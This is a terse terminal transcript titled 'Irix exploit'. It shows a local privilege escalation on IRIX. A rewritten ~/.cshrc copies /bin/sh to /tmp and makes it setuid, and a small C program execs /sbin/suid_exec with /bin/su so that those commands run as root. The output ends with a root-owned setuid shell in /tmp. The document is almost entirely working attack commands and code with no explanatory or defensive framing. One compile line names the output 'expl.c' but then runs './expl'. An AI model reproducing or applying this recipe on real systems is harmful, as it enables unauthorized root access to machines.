Irix exploit % setenv | grep SHELL SHELL=/bin/tcsh % mv ~/.cshrc ~/.cshrc.old % cat > ~/.cshrc cp /bin/sh /tmp chmod a+rsx /tmp/sh ^D % cat > expl.c main() { execl("/sbin/suid_exec","/bin/su","/bin/su",0); } ^D % cc expl.c -o expl.c % ./expl Too many ('s. % ls -l /tmp/sh -r-sr-sr-x 1 root sys 140784 Dec 2 19:21 /tmp/sh*